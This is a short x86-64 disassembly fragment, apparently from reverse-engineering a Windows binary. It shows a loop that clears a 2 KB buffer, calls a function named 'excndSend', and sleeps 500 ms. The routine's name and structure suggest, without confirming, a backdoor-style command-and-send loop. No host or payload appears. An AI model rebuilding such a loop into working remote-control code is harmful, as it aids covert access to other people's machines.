lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x1400024cf
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x7c0]
mov ecx, eax
call sym.excndSend
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x1400024cf
nop
jmp 0x1400024cf
mov ecx, 0x1f4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
nop
add rsp, 0x828
pop rdi
pop rbp
ret